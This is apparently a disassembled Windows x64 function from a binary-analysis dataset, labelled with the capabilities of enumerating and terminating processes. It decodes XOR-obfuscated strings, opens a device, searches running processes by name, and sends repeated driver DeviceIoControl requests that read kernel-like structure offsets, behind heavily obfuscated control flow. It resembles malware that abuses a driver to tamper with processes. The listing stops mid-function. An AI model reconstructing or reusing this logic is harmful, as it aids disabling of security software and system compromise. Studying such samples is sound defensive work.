Function at 0x140023c40
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x4f0
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
xor r14d, r14d
movabs rax, 0xac2858941f35d8d5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x6e55b7671b96b483
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0xc361f3d2f4eb706b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0xf22e39e80dae945f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0xbfc82ede6918330f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0xe99d2c6e2aa2805c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs r15, 0x951d6cef431b8489
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rsi, 0xf6787527ea081b6
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
movabs rdi, 0xa703cbe1d98a4453
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
movabs rbx, 0xc21b0edc35cdf568
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
movabs rax, 0xd9ae1ebb5e7a0a6d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
movabs rax, 0xe99d2c6e2aa2fd3a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x260]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x200]
vxorps xmm0, xmm0, xmmword [rbp + 0x280]
vmovdqa xmmword [rbp + 0x200], xmm0
lea rax, [rbp + 0x1e0]
mov qword [rbp + 0x1a0], rax
lea rcx, [rbp + 0x1e0]
mov r12, 0xffffffffffffffff
mov rax, r12
vzeroupper
nop dword [rax]
inc rax
cmp byte [rcx + rax], r14b
jne 0x140023df0
mov qword [rbp + 0x1a8], rax
xor r8d, r8d
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x2e0]
call fcn.140027800
nop
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x2a0]
call fcn.140026000
lea rcx, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 7
cmova rcx, qword [rbp + 0x2a0]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x1402de590], rax
lea rcx, [rbp + 0x2a0]
call fcn.1400267c0
nop
lea rcx, [rbp + 0x2e0]
call fcn.1400267c0
movabs rax, 0xf94d14802f79ebdb
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x180], rax
movabs rax, 0x6e13e2100cc5f8d7
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x188], rax
movabs rax, 0xa703cbe1bcf2217d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x190], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x198], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2c8], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2d8], rax
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x2c0]
vmovdqa ymmword [rbp + 0x180], ymm1
xor edx, edx
lea ecx, [rdx + 2]
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
mov dword [rbp + 0x360], pe_nt_image_headers64
lea rdx, [rbp + 0x360]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140023f92
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x38c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov rcx, rbx
test eax, eax
je 0x14002404c
lea rdx, [rbp + 0x360]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140023f62
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r14d
mov dword [0x1402de598], eax
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x20], 0x7c72f02b
mov dword [rbp + 0x24], 0x6f60e0af
xor eax, eax
mov qword [rbp + 0x28], rax
mov dword [rbp + 0x30], eax
mov word [rbp + 0x34], ax
mov byte [rbp + 0x36], al
movabs r15, 0x2be64e28d4d68065
movabs r13, 0xe59f11882b736a3b
mov rdi, qword [0x1402e62c0]
mov rsi, qword [0x1402e62b8]
movzx r8d, byte [rbp + 0x18]
mov rax, rsi
mov r9, rdi
nop word [rax + rax]
mov rbx, r14
movabs rdx, 0xe9b5a232b4cd4311
cmp rbx, 0x17
jae 0x140024b55
movzx r11d, byte [rbp + rbx + 0x20]
movzx r10d, r11b
cmp rax, rbx
ja 0x140024b4c
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x14002405d
add rdx, rbx
mov rcx, rdx
and rcx, r11
imul r8, rcx, 0xfffffffffffffffe
add r8, rdx
add r8, r11
sub r8b, 0x77
jmp 0x14002408a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x368]
jmp 0x140023f9e
je 0x140024adc
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140024a58
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x140024a22
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1400249e4
movzx r10d, r11b
nop
cmp r9, rbx
ja 0x140024b43
lea rcx, [r9 + 0x40]
cmp rax, rcx
jae 0x1400240be
lea r8, [rbx + r15]
movzx ecx, r8b
and cl, r11b
add cl, cl
movzx edx, r10b
sub dl, cl
add r8b, 0x3d
add r8b, dl
jmp 0x1400240f2
lea rdx, [r9 + 1]
cmp rax, rdx
je 0x14002499a
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140024971
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x14002494b
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x140024928
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x1400245f9
nop
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1400245dd
lea rcx, [r9 + 0x2a]
cmp rax, rcx
je 0x1400245b9
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x140024594
lea rcx, [r9 + 0x28]
cmp rax, rcx
je 0x140024575
lea rcx, [r9 + 0x10]
cmp rax, rcx
je 0x140024556
lea rcx, [r9 + 9]
cmp rax, rcx
je 0x140024527
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x140024504
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1400244e5
lea rcx, [r9 + 0x80]
cmp rax, rcx
je 0x140024100
lea rax, [r9 + 0x64]
lea r9, [rax + 0x42]
lea rcx, [r9 + 0x40]
cmp rax, rcx
jb 0x140024b28
lea rcx, [r9 + 0x20]
cmp rax, rcx
jb 0x140024b0d
lea rcx, [r9 + 0xa]
cmp rax, rcx
jb 0x1400242ba
lea rcx, [r9 + 8]
cmp rax, rcx
jb 0x140024292
lea rcx, [r9 + 0x61]
cmp rax, rcx
jb 0x140024273
lea rcx, [r9 + 0x400]
cmp rax, rcx
jb 0x140024494
lea rcx, [r9 + 0x200]
cmp rax, rcx
jb 0x14002444a
lea rcx, [r9 + 0x64]
cmp rax, rcx
jb 0x140024400
lea rax, [r9 + 0x10]
lea r9, [rax + 0x2a]
lea rcx, [r9 + 0x5a]
cmp rax, rcx
ja 0x1400243d3
lea rcx, [r9 + 0x7a]
cmp rax, rcx
ja 0x1400243b4
lea rcx, [r9 + 0x1000]
cmp rax, rcx
ja 0x140024395
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
ja 0x14002436a
lea rcx, [r9 + 0x80]
cmp rax, rcx
ja 0x14002434f
lea rcx, [r9 + 5]
cmp rax, rcx
ja 0x140024330
lea rcx, [r9 + 3]
cmp rax, rcx
ja 0x14002430f
lea rcx, [r9 + 1]
cmp rax, rcx
ja 0x1400242eb
lea rax, [r9 + 0x61]
lea r9, [rax + 0x1000]
jmp 0x140024100
lea r8, [rbx + r13]
movzx ecx, r8b
and cl, r11b
add cl, cl
movzx edx, r10b
sub dl, cl
add r8b, 0x63
add r8b, dl
jmp 0x1400240f2
movabs r8, 0x1233cd22c1d8e419
add r8, rbx
movzx ecx, r8b
and cl, r11b
add cl, cl
movzx edx, r10b
sub dl, cl
add r8b, 0x51
add r8b, dl
jmp 0x140024090
movabs r8, 0x3ec888bd583e5df7
add r8, rbx
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r10b
sub dl, cl
add dl, 0x3f
add r8b, dl
movabs rdx, 0xe9b5a232b4cd4311
jmp 0x140024021
lea edx, [rbx + 6]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x2a
inc r9
dec rbx
inc rbx
jmp 0x140024003
lea edx, [rbx - 0x1c]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x3c
dec rbx
inc rbx
jmp 0x140024003
lea r8d, [rbx - 0x3e]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x4e
add r8b, dl
jmp 0x140024a06
lea edx, [rbx - 0x60]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x60
jmp 0x140024a40
lea edx, [rbx + 0x7e]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x72
movzx ecx, r8b
mov rdx, r12
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140024003
lea r8d, [rbx + 0x5c]
movzx ecx, r11b
and cl, r8b
mov edx, 0x3e
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
jmp 0x140024a7a
lea r8d, [rbx + 0x3a]
movzx ecx, r11b
and cl, r8b
mov edx, gethostname
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
jmp 0x140024aa6
lea r8d, [rbx + 0x18]
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_45
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
movzx ecx, byte [rbp + rbx + 0x20]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140024003
lea r8d, [rbx - 0x5f]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x67
add r8b, dl
cmp r9, 0x400
jb 0x1400248d3
lea r8d, [rbx - 0x3a]
movzx ecx, r11b
and cl, r8b
mov edx, ntohl
sub dl, cl
add dl, dl
add dl, r11b
add dl, r8b
lea r8d, [rdx + rdx]
jmp 0x1400249bf
lea r8d, [rbx + 0x7f]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x79
add r8b, dl
cmp rax, 9
jae 0x1400248e0
lea rcx, [r9 + 0x41]
cmp rax, rcx
jbe 0x1400247f3
lea r8d, [rbx + 0x72]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x1e
jmp 0x140024417
lea r8d, [rbx + 0x5d]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
add r8b, 0x75
add r8b, dl
lea rcx, [r9 + rax]
cmp rcx, 0x40
je 0x140024902
lea rcx, [r9 + 0x28]
cmp rax, rcx
jbe 0x14002470c
lea r8d, [rbx + 0xd]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x5b
jmp 0x140024461
lea r8d, [rbx + 0x3c]
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_46
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
jmp 0x140024aa6
movzx r10d, bl
lea r8d, [r10 + 0x1a]
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_41
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
jmp 0x140024a7e
lea r8d, [rbx - 8]
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_32
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
movzx ecx, r8b
mov rdx, r12
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140024003
lea r8d, [rbx - 0x2a]
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WS2_32.dll_send
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
jmp 0x140024a40
lea r8d, [rbx - 0x4c]
movzx ecx, r11b
and cl, r8b
mov edx, 0xa
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
jmp 0x140024a06
lea r8d, [rbx - 0x6e]
movzx ecx, r11b
and cl, r8b
mov edx, 1
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
dec rbx
inc rbx
jmp 0x140024003
lea edx, [rbx + 0x70]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x10
inc r9
dec rbx
inc rbx
jmp 0x140024003
lea r8d, [rbx + 0x4e]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x22
jmp 0x1400249bc
lea rcx, [r9 + 0x2a]
cmp rax, rcx
jae 0x140024627
movabs rdx, 0xe9b5a232b4cd4311
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
sub r10b, cl
lea r8d, [rdx + r10]
sub r8b, 0x77
jmp 0x1400244ae
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14002465d
lea r8d, [rbx - 0x36]
movzx ecx, r11b
and cl, r8b
mov edx, 0x3d
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
movzx ecx, byte [rbp + rbx + 0x20]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140024003
inc rcx
cmp rax, rcx
jne 0x140024688
movzx r10d, bl
lea r8d, [r10 + 0xe]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x62
add r8b, dl
jmp 0x140024a7e
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400246bc
lea edx, [rbx + 0x30]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x50
movzx ecx, r8b
mov rdx, r12
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140024003
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400246e0
lea edx, [rbx + 0x52]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x3e
jmp 0x140024a40
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x1400244ae
lea r8d, [rbx + 0x74]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x2c
add r8b, dl
jmp 0x140024a06
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140024731
lea r8d, [rbx + 0x2f]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x49
jmp 0x1400249bc
inc rcx
cmp rax, rcx
jne 0x14002475d
lea edx, [rbx + 0x51]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x37
inc r9
dec rbx
inc rbx
jmp 0x140024003
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140024791
lea edx, [rbx - 0x27]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
add r8b, 0x11
movzx ecx, r8b
mov rdx, r12
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140024003
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400247bd
movzx r10d, bl
lea r8d, [r10 - 5]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
add r8b, 0x23
add r8b, dl
jmp 0x140024a7e
lea rcx, [r9 + 8]
cmp rax, rcx
jne 0x140024464
lea edx, [rbx + 0x3f]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
add r8b, 0x47
movzx ecx, byte [rbp + rbx + 0x20]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140024003
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140024825
lea edx, [rbx - 0x6c]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0xc
movzx ecx, byte [rbp + rbx + 0x20]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140024003
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140024851
movzx r10d, bl
lea r8d, [r10 - 0x28]
movzx ecx, r11b
and cl, r8b
mov edx, ntohl
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
jmp 0x140024a7e
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x140024879
lea r8d, [rbx + 0x1c]
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
jmp 0x140024a40
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1400248aa
lea r8d, [rbx - 0x7e]
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WS2_32.dll_gethostname
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
inc r9
dec rbx
inc rbx
jmp 0x140024003
lea rcx, [r9 + 8]
cmp rax, rcx
jne 0x14002441a
lea r8d, [rbx - 0x5c]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x7c
jmp 0x1400249bc
mov byte [rbp + rbx + 0x20], r8b
inc rbx
jmp 0x140024003
lea r8d, [rbx - 0x18]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x58
add r8b, dl
add r8b, r11b
jmp 0x140024a06
movzx r10d, bl
lea r8d, [r10 + 0xa]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub dl, r11b
sub r8b, 0x46
add r8b, dl
jmp 0x140024a7e
movabs rcx, 0x4cfea423e4db1f0f
add rcx, rbx
and r11b, cl
add r11b, r11b
sub r10b, r11b
lea r8d, [rcx + r10]
sub r8b, 0x69
jmp 0x140024a40
movabs rdx, 0x79935fbe7b4098ed
add rdx, rbx
and r11b, dl
add r11b, r11b
movzx r8d, r10b
sub r8b, r11b
sub r8b, 0x7b
add r8b, dl
jmp 0x140024a02
movabs rcx, 0xa6281b5911a612cb
add rcx, rbx
and r11b, cl
add r11b, r11b
sub r10b, r11b
lea r8d, [rcx + r10]
add r8b, 0x73
dec rbx
inc rbx
jmp 0x140024003
movabs rdx, 0xff51928e3e710687
add rdx, rbx
and r11b, dl
add r11b, r11b
movzx r8d, r10b
sub r8b, r11b
add r8b, 0x4f
movzx r11d, r10b
add r8b, dl
lea edx, [rbx - 0x29]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
add dl, 0x1f
add dl, r11b
mov byte [rbp + rbx + 0x20], dl
inc r9
dec rbx
inc rbx
jmp 0x140024003
movabs rcx, 0xde393c932e6c67dd
add rcx, rbx
and r11b, cl
add r11b, r11b
sub cl, r11b
lea r8d, [r10 + rcx]
sub r8b, 0xb
movzx r11d, r10b
lea edx, [rbx - 7]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
add dl, 0x31
add dl, r11b
add dl, r8b
mov byte [rbp + rbx + 0x20], dl
jmp 0x140024a40
movabs rcx, 0xacdf82dc4d1e1bb
add rcx, rbx
and r11b, cl
add r11b, r11b
sub cl, r11b
lea r8d, [r10 + rcx]
sub r8b, 0x1d
add rax, r9
movzx ecx, r8b
mov rdx, r12
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140024003
movabs rcx, 0x63f76f62f19cd577
add rcx, rbx
and r11b, cl
add r11b, r11b
sub cl, r11b
lea r8d, [r10 + rcx]
sub r8b, 0x41
movzx r11d, r10b
movzx r10d, bl
add r10b, 0x1b
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
add r10b, 0x43
add r10b, r11b
movzx ecx, r10b
mov byte [rbp + rbx + 0x20], cl
inc r9
add rcx, r9
sub rbx, rcx
lea edx, [rbx + 0x2c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
sub dl, 0x34
add dl, r11b
mov byte [rbp + rbx + 0x20], dl
inc rax
mov rcx, r12
sub rcx, rax
add rbx, rcx
movzx ecx, byte [rbp + rbx + 0x20]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140024003
movabs rcx, 0xbd20e6981e67c933
add rcx, rbx
and r11b, cl
add r11b, r11b
sub cl, r11b
lea r8d, [r10 + rcx]
sub r8b, 0x65
movzx ecx, byte [rbp + rbx + 0x20]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140024003
sub bl, 0x2b
movzx ecx, r11b
and cl, bl
add cl, cl
sub r11b, cl
lea r8d, [rbx + r11]
add r8b, 0x2d
jmp 0x140023ffa
sub bl, 0x4d
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r8d, [rbx + r11]
add r8b, 0x1b
jmp 0x140023ff4
mov rax, qword [rbp + 0x1690f8c]
jmp 0x140024b59
mov rax, qword [rbp + 0x136529d]
jmp 0x140024b59
mov rax, qword [rbp + 0x20]
cmp qword [0x1402e34a0], rax
je 0x140024b6e
call r14
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140021580
add rax, 0x118
mov qword [rbp + 8], r14
mov dword [rbp + 0x111], r14d
mov word [rbp + 0x115], r14w
mov byte [rbp + 0x117], 0
mov dword [rbp + 0xf0], 0x85b3e12
mov qword [rbp + 0xf8], rax
lea rax, [rbp + 8]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], 8
mov eax, dword [0x1402de598]
mov dword [rbp + 0xf4], eax
mov byte [rbp + 0x110], 0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, Ordinal_45
lea r8, [rbp + 0xf0]
mov edx, 0x2201c4
mov rcx, qword [0x1402de590]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov qword [rbp + 0x68], r14
mov dword [rbp + 0x139], r14d
mov word [rbp + 0x13d], r14w
mov byte [rbp + 0x13f], 0
mov dword [rbp + 0x118], 0x85b3e12
mov rax, qword [rbp + 8]
add rax, 0x198
mov qword [rbp + 0x120], rax
lea rax, [rbp + 0x68]
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x130], 8
mov eax, dword [0x1402de598]
mov dword [rbp + 0x11c], eax
mov byte [rbp + 0x138], 0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, Ordinal_45
lea r8, [rbp + 0x118]
mov edx, 0x2201c4
mov rcx, qword [0x1402de590]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0x60], rax
movabs rax, 0xf67c1c9c2869ebde
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x80], rax
movabs rax, 0xf6787527ea081d3
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x88], rax
movabs r15, 0x951d6cef431b8489
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b0], rax
movabs r13, 0xf6787527ea081b6
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b8], rax
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp + 0x80], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r14
mov qword [rbp + 0xc8], r14
lea rax, [rbp + 0x80]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140024d36
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0xb0]
call fcn.140020e30
lea rax, [rbp + 0xb0]
mov qword [rbp + 0x10], rax
mov rsi, r14
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x60]
call fcn.140022050
nop
mov rbx, qword [rbp + 0x220]
mov rdi, qword [rbp + 0x228]
cmp rbx, rdi
je 0x140024dff
nop word [rax + rax]
lea rdx, [rbp + 0x300]
mov rcx, rbx
call fcn.140021ee0
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140024dc4
mov rax, qword [rax]
cmp r8, qword [rbp + 0xc0]
jne 0x140024dd9
mov rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140024df0
lea rcx, [rbp + 0x300]
call fcn.140020d70
add rbx, 8
cmp rbx, rdi
jne 0x140024d90
jmp 0x140024dff
lea rcx, [rbp + 0x300]
call fcn.140020d70
mov rsi, qword [rbx]
lea rcx, [rbp + 0x220]
call fcn.1400251d0
nop
lea rcx, [rbp + 0xb0]
call fcn.140020d70
lea rcx, [rsi + 0x420]
mov qword [rbp + 0x70], r14
mov r8d, 8
lea rdx, [rbp + 0x70]
call fcn.140021510
call fcn.140021580
mov qword [rbp + 0x10], r14
mov dword [rbp + 0x161], r14d
mov word [rbp + 0x165], r14w
mov byte [rbp + 0x167], 0
mov dword [rbp + 0x140], 0x85b3e12
add rax, 0x10
mov qword [rbp + 0x148], rax
lea rax, [rbp + 0x10]
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], 8
mov eax, dword [0x1402de598]
mov dword [rbp + 0x144], eax
mov byte [rbp + 0x160], 0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, Ordinal_45
lea r8, [rbp + 0x140]
mov edx, 0x2201c4
mov rcx, qword [0x1402de590]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
movabs rax, 0x956e1e8a3a7ae8d9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp + 0x90], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x58], r14
lea rax, [rbp + 0x90]
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140024f40
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x40]
call fcn.140020e30
lea rax, [rbp + 0x40]
mov qword [rbp], rax
mov rbx, r14
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x60]
call fcn.140022050
nop
mov rdi, qword [rbp + 0x238]
mov r15, qword [rbp + 0x240]
cmp rdi, r15
je 0x140024ff3
nop dword [rax]
lea rdx, [rbp + 0x320]
mov rcx, rdi
call fcn.140021ee0
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova rdx, qword [rbp + 0x40]
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140024fbb
mov rax, qword [rax]
cmp r8, qword [rbp + 0x50]
jne 0x140024fcd
mov rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140024fe4
lea rcx, [rbp + 0x320]
call fcn.140020d70
add rdi, 8
cmp rdi, r15
jne 0x140024f90
jmp 0x140024ff3
lea rcx, [rbp + 0x320]
call fcn.140020d70
mov rbx, qword [rdi]
lea rcx, [rbp + 0x238]
call fcn.1400251d0
nop
lea rcx, [rbp + 0x40]
call fcn.140020d70
call fcn.140045fb0
mov rdi, rax
movabs rax, 0xf273059b2b7cedc5
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa8], rax
movabs rax, 0x951d6cef431b8489
